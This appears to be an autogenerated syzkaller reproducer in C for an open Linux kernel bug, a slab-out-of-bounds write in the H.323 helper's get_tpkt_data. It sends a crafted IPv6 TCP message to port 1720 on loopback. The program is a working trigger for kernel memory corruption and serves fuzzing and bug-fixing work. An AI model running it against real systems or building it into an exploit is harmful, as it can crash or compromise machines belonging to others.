syzkaller-repros/linux/c0819b897eb624b8a59b4cf618831626f0160693.c

// KASAN: slab-out-of-bounds Write in get_tpkt_data
// https://syzkaller.appspot.com/bug?id=c0819b897eb624b8a59b4cf618831626f0160693
// status:open
// autogenerated by syzkaller (http://github.com/google/syzkaller)

#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

uint64_t r[1] = {0xffffffffffffffff};
void loop()
{
  long res = 0;
  res = syscall(__NR_socket, 0xa, 1, 0);
  if (res != -1)
    r[0] = res;
  *(uint16_t*)0x20000100 = 0xa;
  *(uint16_t*)0x20000102 = htobe16(0x6b8);
  *(uint32_t*)0x20000104 = 9;
  *(uint64_t*)0x20000108 = htobe64(0);
  *(uint64_t*)0x20000110 = htobe64(1);
  *(uint32_t*)0x20000118 = 0x3f;
  syscall(__NR_sendto, r[0], 0x20000240, 0xfffffe42, 0x20000005, 0x20000100,
          0x1c);
}

int main()
{
  syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
  loop();
  return 0;
}